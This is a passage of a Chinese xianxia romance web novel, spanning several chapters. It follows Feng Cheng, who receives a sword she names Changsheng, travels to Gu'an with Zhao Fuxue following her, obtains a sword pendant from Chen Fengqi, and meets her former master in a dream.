这么一想,还是老老实实莫要乱跑了。 赵负雪所寻的铸剑之所也居于东市中,此市为洛京最为繁华的一处,长街上人流涌动,声闹喧嚷声不绝于耳,人流之中,封澄一边推着赵负雪,一边新奇道:“真不愧是洛京,到处都是新鲜风景。” “不过,”她忽然皱眉道,“话本子里的剑修求剑,不都是去那些荒僻小巷,或者是悬崖底下之类的洞府,怎么会有锻剑的地方开在闹市里?” 赵负雪听着封澄在身后嘀嘀咕咕:“荒僻些的铺子也有,只是你不必去看。” 封澄疑惑地歪了歪头:“为什么?” 赵负雪静静道:“这家是相熟的产业。” 封澄听明白了,言下之意,这家会打折。 封澄:“……” 她那点刀光剑影、快意江湖的想象啪一声碎了,封澄困惑道:“等等,这难道不该是一件很侠客很江湖的事情……” 话音未落,锻剑的铺子到了,一壮硕大汉见轮椅进来,大喜道:“家主!许久未见,今日怎么来老头儿这里了?” 家主? 封澄见了鬼一样,她看了看赵负雪,又看了看壮硕汉子,难以置信地想:“家主,又一个家主,天机院的家主少家主难道是大街上的白菜吗?” 赵负雪道:“我从前放在这里的剑,有把未刻剑铭的,取来。” 大汉一怔,随即道:“那把火气极足的白剑?” 赵负雪点点头。 赵负雪自身灵力极寒,不会用这种与他灵力相克的剑,大汉一看,便看到了站在赵负雪身后的年轻小姑娘,这小姑娘一无所知,目光里满是初入江湖的好奇,他心中了然,道:“家主稍候。” 待那大汉去取剑,封澄才凑过来道:“仙人,他为什么叫你家主?” 赵负雪垂眸:“因为他应该这么叫。” 封澄:“……” 封澄还要再问,那大汉已小心翼翼捧了一把剑来,封澄一看,眼睛便亮了:“好俊的剑!” 俊,的确是俊,赵负雪示意她接过剑来,这把剑长三尺,剑柄处雕以某种似狮似虎的神兽花纹,剑身轻灵俊秀,触之却有汹涌的炽热灵力,赵负雪看着封澄抱着剑的样子,道:“给它刻个剑铭,此后便用此剑。” 封澄看着剑,思索片刻,道:“是我给它起名字吗?” 大汉笑道:“此剑有灵,从前有人要往上刻剑铭,它都不愿,无论如何,都刻不上去的,姑娘只管取取试试,若刻不上,没剑铭也是能用的。” 她轻轻地抚了抚剑身,沉吟片刻,道:“长生。” “这把剑的名字,叫长生。” 第56章 第56章真的不甘心 赵负雪一阵风似的刮进了赵府里面,进去便头也不抬道:“备一份早膳,送封姑娘客栈去。” 说完,便径直走去了院子,徒留几个赵家修士面面相觑,半天也摸不着头脑。 “公子那副表情……” 这几人交换了一下视线,不约而同地心道:“好似快哭了一样。” 周寻芳忙了半日,总算将血修之事与姜家交接明白了,她颇为疲惫地坐在书房,任由身后赵年不轻不重地为她按摩头部。 “阿雪那边如何,”她慢慢地问,“听说他早早便回府了。” 赵年按在她太阳穴上的手陡然一顿。 周寻芳轻轻地睁开半合的眼睛,赵年又继续按下去,片刻,斟酌着道:“似乎是受了些打击,回来便把自己关在寝室,听下人们说,似乎还未出来。” 周寻芳哼笑一声:“我料想如此,阿雪才与人家相处几日,人家还什么都没看上呢,他便急吼吼地要绑生死咒。若是个见色起意的丫头也就罢了,说不定图阿雪那张唬人的脸,也就一眼看上了,偏生小丫头又不是那人,只凭阿雪那性子……啧。” 千言万语,都在这个意犹未尽的“啧”里了。 周寻芳从前倒是很愿意以欣赏的眼光看待自己的好孙儿,谁知这好孙儿不声不响放了个大的,张口便是意图做三的惊世骇俗之言,现下周寻芳只恨不得将他按在祖墓里,叫他朝着赵家列祖列宗好生谢罪。 赵年沉默片刻,道:“老尊者还是去瞧一瞧吧,公子像是不好。” 周寻芳闭着眼,良久才道:“罢,你且随我去一趟。” 赵负雪怔怔地看着食指上的指环,径自发呆。 他不知怎么回事,心头的酸胀一层一层地波动上来,透过胸膛,直达眼眶,竟让人有种止不住落泪的冲动,他抽了抽鼻子,忽觉鼻子也有些酸。 怎么回事,他烦闷地把脸埋在软枕里,不过是封澄要去古安一趟,他怎么就突然这般古怪起来? 说起来,封澄应该也是古安附近的人,虽未听她提及自己的父母亲朋,但初时见她便在古安…… 思及此处,赵负雪忽然意识到,相处了这么久,封澄几乎没对他说过自己的多少私事,他对她几乎一无所知,唯一知晓的底细,还是她有个莫名其妙的师尊。 还把他认错成这个师尊,压着他亲了一宿。 这么一想,赵负雪更堵心了,他将软枕往脸上一压,忍不住呜咽一声。 忽然门口一声轻响,赵负雪猛地坐起来,只见一高大老者带一中年女子走来,不是周寻芳与赵年二人又是谁?赵负雪上前一步,行礼道:“祖母,院长。” 此时天亮,周寻芳留神看了看他,偏头对赵年评价道:“眼圈有些红。” 赵负雪:“……” 赵负雪艰难道:“许是方才困倦,揉得眼疼。” 周寻芳又偏了偏头,接着评价:“声音也哽咽。” 赵年点了点头,赵负雪彻底沉默了:“……” 赵年扶着周寻芳坐在正堂上 ,片刻,祖孙俩的面前便被捧上了茶,这茶香气扑鼻,周寻芳一闻便笑了:“阿雪,你何时喝上这等甜腻的花茶了。” 赵家人虽生活简单,却绝不敷衍,就拿赵负雪这间扶明院来说,屋中陈设虽极为简单,却件件都是奇材所铸,名家手作,饮食更是如此,莫说是难当茶道二字的甜腻花茶,就是略差些的茶叶,都不会送到少家主的面前来。 口味发生如此翻天覆地之转变,只有一个原因了。 这茶是给那姑娘备的茶。 一旁的赵年倒笑了:“我看这茶摆在最显眼处,只当是赵公子惯用的茶,便烹了来,竟是我鼻子钝,取错了。” 赵负雪垂着眼睛,道:“年院长这般说,晚辈真要无地自容了。” 周寻芳道:“一时情场失意,也并不是什么坏事,只是一时急切,倒难以成事,我看那姑娘并非厌恶与你,兴许只是二人了解时日短了些。” 她慢慢地端起了那杯装着甜腻花茶的茶杯,竟就这么饮了一口,骤起的甜腻味道有些冲头,感觉却并不坏。 赵负雪静静地听着。 周寻芳又道:“感情二字,最容不得急切,且……且封姑娘心许他人,阿雪,不可强求。” 赵负雪一听,眼睛又有些发涩。 他面白如雪,眼圈一红,便分外明显,周寻芳忽然心中便奇怪了——即便是求爱不成,他也绝不会成了这副动不动便红眼圈的样子。 平心而论,这么多年来,这小子哪里红过眼眶? 赵负雪静静道:“祖母,我知道,我都知道……只是我真的,不甘心。” 周寻芳心中那股异样感越发明显了,她不动声色道:“不甘心也无法……生死咒呢?既然此时用不上,便还到家庙里去罢。” 此言一出,屋中寂静了。 赵负雪抬起头来,皱眉道:“还回去?” 接下来的一句话,令周寻芳险些失手打翻了茶盏。 “红线已牵在我与封姑娘的心头,我手上指环也已然取不下来,祖母,如何还回去?” 铛地一声,仿佛一口巨钟当空炸在了周寻芳耳畔,她久经风浪,连天魔压境都未让她心慌过,此时此刻,她却久违地品尝到了当头雷击的感觉。 赵年忙道:“老尊者!” 周寻芳按住她,强行缓过神来,她掀起眼皮,死死盯着赵负雪道:“红线,牵上了?” 赵负雪的眉皱得更深了:“我赵家生死咒,岂会失灵?自然是牵上了。” 岂会失灵。 正因如此,才令周寻芳几乎乱了心神。 赵家生死咒,自赵家先祖手中传下,千百年间绝未出错,牵得上就是牵得上,牵不上绝对牵不上,心中另有他人的,更是绝对得不到生死咒的认可。 现下,只有一个解释了。 周寻芳用力闭了闭眼,转头,一言难尽地看着赵负雪:“天下竟有你这样的糊涂东西。” 难怪赵负雪露出这副哭哭啼啼的样子……红线是人家夫妻洞房花烛前绑上,然后顺理成章便情到浓时了,人家两心缱绻、鸳鸯交颈,他倒好,硬是违背了生死咒赋予的本能,一溜烟跑回了赵府——他不哭谁哭! 周寻芳只觉得平生从未失过这么大的策,倍感荒谬间,她又莫名想道:“此物一个巴掌拍不响,如此便绑上了,难道是我看错了人,那小丫头竟还真是个见色心起的?” 这么一想,更糟心了。 赵负雪犹自不解:“……?” 周寻芳一句话也不想和这孙子说了,她起身,拂袖便去,赵年连忙跟上,赵负雪虽不明所以,却还是起身行礼送道:“恭送祖母。” 二人的身影离扶明院越来越远,忽然间,远远处传来一道老者的怒声:“滚去找她!找不到她,只管哭死了事!” 赵负雪本就这么想的,他方才不知为何情绪失控,听见封澄要离开赵府便勃然大怒拂袖而去,可此时此刻冷静了这么久,他算是想明白了。 既然她不来,那么他便去。 回古安又怎么样?莫说回古安了,她回棺材,他也能跟着去。 这般想着,赵负雪转身便出了赵府,连院门也未走,径自从院墙上翻了出去,毫不迟疑地直冲客栈而去。 客栈伙计远远见着赵负雪,便把汗巾一搭,扬着笑过来:“公子又来啦……” 赵负雪急切地打断他:“天字一号的姑娘出来用饭了吗?” 伙计一拍手,道:“我来就是为了和公子说这件事!您派人送来的早膳啊,我们没送进去,喏,你看,就在后面好好的摆着,正向给贵府上送回去呢。” 赵负雪心头一沉:“为什么没送进去?” 伙计嗐了一声:“那姑娘一大早便退房啦!您前脚刚走,她后脚便缴清了房费。” 毫不犹豫地,赵负雪转头就走,伙计一怔,随即大叫道:“公子,公子!您这份早膳怎么说!” 追过去一看,哪里还有赵负雪的身影?只见远远天边一道剑光——竟是急得连车马都不坐,御着剑便去了。 伙计讪讪地放下了手,嘟囔道:“入洞房都没这么急的……” *** 一路上车马有些晃,按说长途跋涉,路上是很该睡一觉的,封澄却毫无睡意,她掀起车帘,问那马夫:“离古安还有多久的路程?” 马夫道:“快了,快了,再有个三两日,便到古安驿站了。” 封澄放下了帘子。 从客栈出来后,她本打算御剑去古安,一是快一些,二也是方便,可她的佩剑早断了八百年了,以血为剑的话,又实在烧灵力,封澄一想到古安那男鬼,便头疼,于是只御剑走了一半路程,多留了些灵力,以防这男鬼掀桌。 赵负雪的伤来来回回总是不好,想必是当时捅的时候有几分诡异门道,封澄心中想,若是她的猜测落实,男鬼当真就是她想的那个人的话,那么他施加在剑上的诡异门道,世上只有他一人能解。 思及此处,封澄很心累地叹了一口气。 赵负雪心头伤口迟迟不愈,似乎还有越变越重的趋势,长此以往,不是办法。 古安的鬼门,应当是与男鬼沟通的唯一途径。 她要去问问,他到底要做什么。 第57章 第57章偷来的苦果 第三日,车马到了古安的驿站。 车夫回头道:“姑娘,古安到了。” 封澄倚在马车软垫中,困倦地揉了揉眼睛,应道:“好。” 来得匆忙,只收拾了几件衣服,也没带什么行李,封澄带着包裹,从马车上跳了下来,向城内走去。 不知为何,自打那日不告而别后,封澄心底便一直有些不安,她心不在焉地走在街上,莫名想:“那日应该等一等……赵负雪看起来不太好。” 也是太急了,封澄叹了口气。 忽然身后有人又惊又喜地叫住她:“姑娘!?” 封澄回头一看,当即笑了:“怎么是你?” 来者正是那留他们住宿的馄饨老板,老板头上绑着汗巾,肩上挑着担子,担子里装着新鲜菜蔬和还冒着热气的鲜肉,看起来仿佛刚从早市回来,他小跑两步道:“我远远处看着,只当认错了人——那与你一道的公子呢?怎么不见他?” 封澄笑了笑,并不回答,老板也识趣地不再继续问,转而殷切道:“姑娘从驿站走来,想必是没有用过早膳了的,我正去采买了鲜肉,不如姑娘便去我的铺子吃馄饨吧。” 这么一想也好,封澄便道:“好。” 老板是个长相憨厚的胖子,脸又红又壮,他一边走,一边絮絮道:“这些日子姑娘不在古安,可是错过了大热闹。” 再大的热闹也不会有那个雨夜大了,封澄道:“哦?是什么样子的大热闹。” 老板道:“咱们古安第一大族,陈家,您知道吧?” 封澄点点头。 老板道:“这几日陈家惹仇啦!他们家山石又被劈啦!” 封澄心头一跳。 老板接着道:“这石头才装上没几日呢,上头的漆墨都不一定干,这一被劈,陈风起可气得够呛,连发了不知多少张悬赏出来抓人——现在邻里邻居都在谈这个呢,你说,热闹不热闹?” 封澄若无其事道:“果然热闹!什么时候的事?” 老板想了想:“大概也就五六日之前,我记不清,大概就是这段时候。” 封澄当机立断,掉头就向陈氏山庄跑去,老板在后一脸茫然地叫道:“哎,姑娘!你做什么去,馄饨还吃不吃了?!” 遥遥地传来一道女声:“我去抓人,先不吃了!” 赵负雪闭目,猎隼似的落在陈氏山庄前的树上。 他不知道 在这里等了几日了。 从洛京到古安,行车要约莫半个月的功夫,御剑要两三日的时间,若赶得紧些,日夜无休,一日多便够了。 他走了半日。 直到佩剑落在古安上方时,赵负雪才后知后觉地意识到,照着封澄那个懒洋洋的性子,哪里会赶路赶得这么快! 赵负雪平生没尝过等人的滋味,此时一等便是五六日,方觉滋味漫长难挨,一边心慌意乱,另一边又几乎每秒都在心焦不已。 “这么久,即便是乘的王八,也该到了。” 思及此处,赵负雪忍不住闭了闭眼,一时有些暴躁,忍不住碾了碾脚下的粗壮树枝。 不料树枝忽然发出了咔擦一声。 赵负雪低头一看:“……” 陈氏山庄前厉兵秣马的众人齐齐一抬头,数十道目光齐齐扎向与树干融为一体的赵负雪,登时为首之人便大骂:“你是何人?为何在陈氏山庄前?和劈石的人有什么关系!?” 赵负雪心道一声麻烦,啧了一声,随即闪身一踩,向外疾掠而去,陈氏之众当即叫道:“跑了,去追!” 耳边的风声奔啸而过,身后是陈氏一众乱飞的灵力与追杀之声,这群人自然是追不上的,赵负雪正不紧不慢地牵着人跑,忽觉前方有道极快的灵光闪过。 这帮陈家菜包,竟还学会包抄了,赵负雪皱了皱眉,终于正色起来,拔剑出鞘,倨傲道:“来者何人,报上名来。” 那道灵光好似顿了顿,旋即,传来一声轻笑。 这道轻笑轻得仿佛一道花叶,却如同泰山一样砸向了赵负雪的心头。 他的神色出现了一刹那的空白。 “不过几日不见,”来者笑道,“连我名姓都忘了,当真是可恶。” 此时此刻,身后杀声震天的陈家修士也赶到了,一见赵负雪怔在原地,当即精神抖擞,吱哇乱叫着,姹紫嫣红的灵力便齐齐往赵负雪的方向招呼,赵负雪此时此刻全副心神都系在对面,他怔怔地盯着来者,莫说是出手反击了,连躲避也不愿躲。 随着一声风响,清甜的香气笼在了他的身边,紧接着便对上一双熟悉无比的桃花眼,封澄歪了歪头,落在他身边,四周灵力全部被她周身灵力所震开。 她道:“短短几日,便惹了祸,该让我说什么好。” 混蛋。 她仿佛从天而降一样降临到了他的身边,带着熟悉的、轻佻的笑意,赵负雪一见她,等待多日的心焦苦涩便随着狂喜的酸胀而骤然迸发了出来。 “赵公子?”她道,“还愣着干什么,跑啊!” 封澄的手猛地捉住了他的,赵负雪一低头,却见她牵着的正是他戴着指环的那只手。 牵着他的手温热而坚定,他怔了怔,反手紧紧地握住她的。 在她全然不知的心口,系着一条寂然无声的红线,她的指上空空如也,唯有他一人的指环自作多情地滚烫。 “我是个很卑劣的人。”赵负雪忽然想。 顶替了她所爱之人的身份,偷来了一夜慌乱。 这仿佛是他从封澄心底窃取来的一碗甜水,甘甜褪去,剩下的全是苦涩。 留他一人独吞的、偷来的苦果。 可偏偏见到她时,他便什么也忘了。 “好想你,”赵负雪心底的声音震耳欲聋,“真的……好想你。” 待身后陈氏一众的追杀声全部褪去,封澄才轻轻地放开了赵负雪的手,二人停在僻静巷弄里,封澄对着莫名不敢低头看她的赵负雪道:“你怎么来古安了?” 赵负雪偏过头去:“只许你来,不许我来吗?” 封澄眯了眯眼睛,把他偏开的头扳回来:“你身上还有伤,来得却比我都早,怎么,伤势不管了?随便它怎么裂了?” 伤? 赵负雪一怔,随即才反应过来,一摸胸口,暗道一声不好——这几日心乱如麻,竟放着这伤口好好痊愈了! 封澄抬手便要撕他胸口:“给我看看,若是又严重了,趁早去找侠医——我看你赵家的医师不过如此,放着你伤口越来越重。” 她的手摸上来的刹那,赵负雪猛地抓住了她的手腕。 封澄一怔,抬头道:“……怎么?” 赵负雪脸色微红道:“孤男寡女,四下无人,你上来便撕我衣服……我要娶亲的,你若不负责,就不要坏了我清白。” 封澄:“……” 她总觉得这话不该他说。 况且娶亲这事,封澄大可以打包票,别说这几年了,就是再过上二十年去,赵负雪也没娶成,光棍一个。 他指间指环硌得她手腕隐隐发疼,封澄于是便松开了手,道:“那便找个到处是人的地方再看,随我走。” 不是说孤男寡女不能看吗?去市集上看不就得了。 这次轮到赵负雪沉默了,他看着封澄全然不在乎的背影,不知为何,牙一咬,上前两步,忽然便从身后拥了上去。 在身后那道熟悉的冷香气席卷而来的刹那,封澄意识到什么,她的瞳孔骤然紧缩。 身后的触感是实打实的,赵负雪比她高出一些,又宽上一些,从身后拥上来的触感几乎是全然包裹。若是常人做这件事,封澄早已一肘子捣了过去,可意识到身后的人是赵负雪后,封澄忍了忍,还是没动手捣人。 她叹了口气,道:“你这是要做什么。” 耳边忽然一温,竟是赵负雪低下头来,将脸埋在了她的肩头。 少年的身体总是有些滚烫的,封澄莫名觉得有些熟悉,猛然间她想到——等在那个莫名其妙的梦里,她的师尊赵负雪,做过这个与他全然不符的动作。 耳边传来一道闷闷的声音:“不去外面,给别人看做什么。” 封澄心中好笑,抬手摸了摸少年的头发:“怎么是把你给别人看,瞧瞧你的伤口都不行吗?” 她感觉埋在她肩头的脑袋摇了摇。 说到底还是个少年,少年人心性古怪,脾气阴晴圆缺的,封澄也搞不明白,于是她只好笑了笑,道:“不看便不看吧,总归你自己有数。” 埋在他肩头的脑袋又动了,这次封澄感觉出来了,是一个点头的动作。 话已说完,赵负雪却还没有从她身上起来的意思,封澄心中好笑,道:“赵公子,四下无人,孤男寡女,你这样也坏了我清白。” 赵负雪闷闷道:“我会负责的。” 封澄:“……” 封澄抬手便给了他一肘子,捣在赵负雪的腹部。赵负雪唔了一声,似乎有些吃痛,人却还是不肯起开。 “我来古安是有正事的……你难道要趴到地老天荒吗,赵公子?” 赵负雪闻言,似乎有些纠结,封澄耐心等了片刻,赵负雪终于站起身来了。 隐隐约约间,她似乎听到他说了什么。 “你刚才说什么?”封澄问。 赵负雪笑笑:“什么也没说。” 第58章 第58章剑坠 作为久别重逢的见面礼,封澄请人吃了一碗馄饨。 来得太突然,馄饨摊子还没支起来,封澄婉拒了老板支摊子的动作,捞着一碗馄饨,寻了个无人的门槛便坐这了,赵负雪抬眼看着封澄垂下来的小腿,端着一碗热气腾腾的馄饨,似乎有些迟疑。 他实在不像是在门槛上吃饭的人,老板小心翼翼道:“我还是把摊子支……” 话音未落,一道白影闪过,赵负雪竟就这么坐在了封澄的身边,手中的馄饨连晃动也未晃动。 “在门口吃饭,”他道,“会更好吃一些吗?” 封澄吸溜一口馄饨,摇摇头笑了:“不会,只会觉得很亲切。” 亲切? “当年我惹了事,我师尊生气,便罚我跪在外面抄书。若是磨洋工,便滚到门槛上吃饭,只叫我丢人丢够了再说。” 能听到封澄的少年琐事,赵负雪暗暗地有些发酸:“……当真严厉。” 封澄哈哈大笑:“是有些,不过他以君子之腹 度小人之心了,坐在门口丢人这件事,若是对付年轻时的他,说不定还有效,我是一点儿都不怕。不过几日,我们几个狐朋狗友便约在门槛碰了头,再过几日,忘了谁一时口角打了起来,结果把他的院门打塌了。” 赵负雪:“……” 封澄道:“你猜他看到后是什么反应?” 赵负雪摇了摇头:“想必不是好话。” 封澄道:“这样,我给你学一下。” 她端着碗筷,随即神色一变,露出了一幅不染凡尘、矜持且清冷的表情:“逆徒。” 这副表情由她做当真是好笑,赵负雪忍不住勾了勾嘴角,封澄接着道:“——然后我们几个就全都被罚去扫学院了。” 赵负雪艰难评价:“很有活力。” 想了想,他又忍不住笑了。 “好热闹,”他道,“想必是很好玩的。” 封澄笑而不语。 赵家家教甚严,即便是在桌上仍要礼数+周全,端着碗在门口吃饭几乎能称得上是无法无天之举,赵负雪平静地吃完了一碗馄饨,拍了拍衣袖站起来。 将碗交还给老板后,封澄便接着向陈氏山庄走去,赵负雪跟在身后,锲而不舍地问道:“古安有什么正事要做,值得你从洛京赶回来?” 封澄被他念得心烦,回头瞪他,刚要加重些语气,赵负雪便低头,有些委屈地看着她。 她的话登时被憋了回去。 “……我要去见一个旧人。”封澄想了想,斟酌着道,“这个人,可能不方便给你见……你别露出这副表情来,说不方便就是不方便,你问我为什么?” 封澄沉吟片刻,道:“打起来,伤到你不好。” 赵负雪:“……” 原来是这种旧人,赵负雪放了一边心,却又提起来另一边的心:“既然如此,我更要见了……” 封澄一路与赵负雪喋喋不休,终究还是到了陈氏山庄门口,陈氏山庄众弟子本在门口戒严,见到封澄,却不约而同地上前道:“封姑娘,家主有请。” 封澄与赵负雪对视一眼,赵负雪轻轻摸了摸鼻子,封澄一边上山,一边道:“亏你想得出劈石这损招……这下可好,陈风起一定以为是我劈的。” 赵负雪自知理亏,任凭封澄数落。 雨夜中的颛安峰森然巍峨,魔气与血气一道飙飞,此时此刻,却寂静安然,封澄走上山去,叩开了紧闭的殿门。 坐在首座的是个有些苍老的中年人,见封澄走进来,他笑了一声。 这笑意里很难说是什么成分,说是嘲讽也像,说是高兴也行,陈风起道:“你既然已经离开古安,为何又要回来?难道是特意来瞧瞧我家的碑铸好了没有?” 短短几日,一个天真热忱的少年便被折磨成了这副阴阳怪气的模样,封澄竟然有些怀念起那个张口爹闭口爹的陈云来,她道:“事出有因,我会赔的……你这个眼神好像在怀疑我?” 陈风起的喉咙有些沙哑,似乎是许久未说过话了,他看着封澄,样子还是暮气沉沉的样子,眼睛却是隐隐地亮了起来,他呛道:“不是怀疑,是肯定,这石头我花了一千两黄金从西面运来,你上哪掏这一千两黄金?” 封澄理直气壮地指了指一旁的赵负雪:“记赵家账上。” 反正这次就是赵负雪劈的,记赵家账上一点儿也不冤枉。 陈风起还要再呛,赵负雪的剑却隐隐出鞘了,他眯着眼睛,大有陈风起再说一句,便把他当场劈了的趋势。 忽然间,殿内传来脆生生一道童声:“爹!” 封澄定睛一看,只见一个虎头虎脑的孩子拿着把小木剑,跌跌撞撞地从后面跑了出来,陈风起一怔,随即面上便是说不出的疼惜:“孩儿来,来爹这里。” 小孩儿乖乖地由他抱起来,封澄好半天才控制住自己的震惊,她指了指小孩,难以置信道:“你,你生的?” 这才短短几日,连孩子都出来了,封澄大为叹服,陈风起却急道:“我如何能生!这是我堂兄的长子,我抱来教导了!” 赵负雪盯着奶牙未长全的孩子,又看了看老态横生的陈风起,封澄心中有数——这个堂兄,想必不是陈风起的堂兄,而是陈云的堂兄了。 她奇道:“为什么便想当爹了?” 陈风起抱着孩子,掂了掂,良久,才道:“我试着把自己放在我爹的位置上……看看会不会做得和他一样好。” 他苦笑一声:“目前看来是不行……我永远没法成为他,他做得太好了,除了他临死那一日,他一直是最好的爹爹。” 这番话,陈风起此时也只能同封澄说一说。 陈絮抹去了陈云这个人的存在,将他加诸于父亲的枷锁上,陈风起强笑两声,一转话题道:“我知道你不是特意来劈个石的,说,要做什么?” 既然如此,封澄便毫不犹豫地切入正题了:“我要你重开鬼门。” 陈风起悚然一惊,张口就要拒绝,谁料封澄道:“我知道你能做到,如若我未曾猜错,今年的鬼门,本来就是你爹伙同一鬼一同打开的。” 陈风起不说话了,赵负雪的心口忽然有些紧。 片刻,陈风起道:“屏退左右,此话我只能与你一人交谈。” 一旁的赵负雪眯眼,正要说话,小腿忽然一重,低头一看,竟是那奶娃娃一边笑着,一边拽着他腿往外拖。 赵负雪几乎傻了眼,他手忙脚乱,踹又踹不得,赶又没法赶,偏生封澄又扬声笑道:“劳烦赵公子看一会儿孩子了。” 待二人的身影一同消失在了房前,陈风起才正色道:“你知道了什么?” 封澄笑了笑;“那日我在你爹的寝居中闻到了那男鬼的味道,我虽不熟悉你古安的作风,却熟悉他的作风。” 陈风起怔了怔,封澄继续道:“你爹临死前,也曾对他说过什么‘救我’之类的话,对不对?既然有勾结,那你一定有法子给他送信。” 听闻此话,陈风起重重地叹了口气,终于道:“……是那鬼自己找上我爹来的。” 封澄静静听着。 他道:“我爹本来只想叫鬼门开条缝儿,好去看看我娘轮回了没有……那男鬼有办法,从鬼界里头撕了条大口子,放了一群鬼出来,结果我娘没见成,反而阴差阳错地把陈絮的娘叫了回来。” 剩下的事也不必说了,陈絮母子手刃陈风起,血洗陈家。 陈絮道:“说着说着又说远了……我的意思是,只有那男鬼联系我爹的理,没有我们去联系他的理,没辙,叫不来。” 封澄道:“他用什么联系你爹?” 陈风起沉吟片刻,转身进了内室,取出了一枚荧光灿灿的吊坠。 细细一看,好似是一枚暖玉。 封澄见到那暖玉的刹那,浑身的血便齐齐涌到了天灵处,她怔怔然过去,脑中登时一片空白。 此物,她熟悉无比。 剑坠。 早已断毁多年的、长生的剑坠。 陈风起道:“我爹的记忆也不太全,索性这个的用法还有,把这东西挂在床头,那男鬼若要联系,便会自行入梦而来,若不联系,只当是个挂着好看的摆件。” 说着,他把玉递过来:“你若想开鬼门,就自己去和那男鬼说罢。” 这块玉是上好的炎玉,触手便生温,仿佛是一块滚热的心肝似的,封澄抚摸着上面的裂纹,忽然眼眶便忍不住有些酸,她抬手胡乱擦了一把眼睛。 他留着,他竟然留着。 他怎么会留着。 陈风起觑着她的脸色,小心翼翼道:“怎么了吗?我爹说,男儿女儿有泪都不轻弹……” 封澄将这剑坠握在手心,抬眼,直白道:“我想要这块玉,你开价,无论如何我都愿意付。” 陈风起摆了摆手:“你要,拿走便是了。我见此物颇有些怵,生怕那大人一想不开便入我梦来了,你拿走我求之不得。” 封澄用力摇了摇头:“此物珍贵,我不能白拿。” 她的态度实在坚定非常,陈风起想了想,眼睛飘向了外面。 他思索片刻,认真道 :“我的身体寿数有限,怕是保不了阿还一世平安,如若将来有缘,还请你照顾一下阿还吧。” 阿还就是那小孩儿的名字了,封澄将这名字在口中过了几遍,忽然道:“阿还……阿环?” 陈风起笑了:“你只当这是巧合——他大名为陈还。” 封澄告别了陈风起,将剑坠紧紧地抓在了手中,待与赵负雪走下颛安峰后,她才遥遥地看向了颛安峰的峰顶。 那扇殿门未关,似有一大一小两个人影。 赵负雪轻声道:“你们二人说什么了?” 封澄收回视线,摇了摇头。 告别前,陈风起道: “一路平安。” 第59章 第59章疯(已修 宝华楼地魔之事后,古安的客栈生意惨淡了许多,即便是良好经营的客栈也受宝华楼所累,变得门可罗雀起来,故封赵二人去订房时,虽去的时候天色已晚,却还是剩下许多空房间。 照例,依旧是两件临近的屋子,封澄沐浴过后,取布帕擦干了头发,旋即从颈上取下了通体雪白的剑坠。 上面裂着蛛网纹,样子有些灰暗,其中的灵气已然不多了,说是一块废石也差不多。 寻常炎玉多为鸡油色,赵负雪说,长生是一把雪色的剑,用暖色不得宜,须得一枚雪色的玉来作剑坠。 不知他是如何寻来一枚雪色的炎玉的。 封澄将剑坠紧紧地握在掌心,片刻,咬了咬牙,抬手将它挂在床头,翻身便躺上榻去。 剑坠莹润,挂在封澄的床头,夜间有些闷热,客栈的窗开着,隐隐流进更夫的梆子声,封澄闭上眼睛,不过片刻,便沉沉睡去了。 她不知在黑甜梦乡中沉浸了多久,待重新拥有意识时,面前是一片漆黑。 来对地方了,封澄想。 随后醒来是听觉。 喧闹的,不绝于耳的人流声,嬉闹,喧嚷,还有热腾腾的叫卖声。 她猝然睁开了眼睛。 面前是一条灯火通明的长街,男女老少,贩夫走卒,商贩戏摊,几乎让她傻在了原地。 如织的鲜艳人群中,偏生有一身影,逆着人流,缓步向她走来。 身负三尺雪,白衣谪仙人。 封澄忽然便生了一头扎进人堆逃去的冲动。 “你来了。”他道。 封澄硬着头皮抬起了头,勉强挂上了一副八风不动的淡然来。 “师尊,”她道,“好久不见。” 赵负雪静静地看着她。 此时此刻,是很应该说些什么的,即便不说,也不该呆若木鸡地愣在人流中间。 “……” 终于,还是赵负雪先打破了这片寂静。 “逛逛吧,难得来一趟。” 封澄不知这个难得是哪个难得,她惯来不擅长拒绝赵负雪,于是点点头,跟上了她的脚步。 这条长街似乎在过什么热闹的节日,封澄低着头,跟在他身后,想了想,道:“为什么挑在这里?” 赵负雪轻轻地看了她一眼。 封澄忙道:“当然不是不喜欢的意思……我以为你会挑个安静的地方,比如说空无一人的茶室什么的。” 赵负雪把头转回去,很平静道:“我欠你一个热闹的龟祭。” 他说的便是那血流成河的龟祭了,封澄心头有些发沉:“果然是……” 忽然间,封澄的嘴被抵住了。 她愕然地睁大了眼睛,低头一看,是一串红艳艳的糖葫芦。 另一端被赵负雪拿在手中,他道:“要说什么,也等龟祭散了再说吧。” 封澄接过糖葫芦,捏在手上,犹豫着咬了一口。 熟悉的酸味并没有冲头而来,取而代之的是柔软的甜香。 里面是流着桂花糖馅的糯米汤团。 封澄猛地抬起头来,赵负雪平静地看着她:“从前忘了许多事,近来才想起来,抱歉。” 话音未落,封澄便傻了,她道:“等等,我不明白……!” 赵负雪摇摇头,并不解释,反而轻轻地牵起封澄的手。 在她的视线里,十指紧扣。 封澄被他手上的指环一硌,才后知后觉地反应过来,抬手便要挣扎,不料赵负雪看着她,目光中是她全然未见过的失落。 “你便是这般牵着他的。” 封澄半晌,才反应过这个“他”指的是何方神圣,她当即就否认道:“从没有的事!” 显然,赵负雪是听不进去的。 他牵着人,力道虽柔和,却坚定得不容拒绝。 “你我从未这般执手,”他道,“不是推着轮椅,便是各自独行。” 封澄挣扎的手一顿,当即便不动了。 二人执手,相安无事地走了半条街,看起来便如同这街市上随处可见的爱侣一样。 封澄自问,不懂事的时候的确对赵负雪有点不该有的感情,可那点儿情思即便再深,早该被山一样的师徒伦理以及后面那些滚滚烂事压得不见踪影了。 本该是师徒,本当是师徒。 对着一无所知的小赵负雪,她尚可卑劣地窃得几分安慰,可对上这个货真价实的师尊—— 她顺理成章地觉得如芒在背。 赵负雪却像看出了她的心思,他慢慢道:“大梦一场,权作放纵,不必当真。” 封澄想了想,终究叹了口气,反手握住了赵负雪的手。 都这么说了,再扭扭捏捏,倒显得她怕了。 赵负雪轻微地勾了勾嘴角。 一只手被赵负雪牵着,另一只手的糖葫芦却要化了,本来桂花糖的馅便软糯流淌,这一化更不得了,封澄不防便吃了一嘴。 听到上方传来的轻笑声时,封澄登时有些羞赧,她闷闷道:“有帕子吗?” 赵负雪摇了摇头,片刻,拿着袖摆,给她擦了擦嘴。 封澄:“!” 他平日最为好洁,莫说是拿着袖摆擦糖渍了,就是沾些尘土,也是不行的。 赵负雪看着她,含笑道:“不妨事,你第一日出门喝酒,回来便吐了为师一身。” 封澄尴尬道:“……还有此事?” 赵负雪点点头:“第二日出门饮酒,回来还是吐了为师一身。” 封澄:“……” 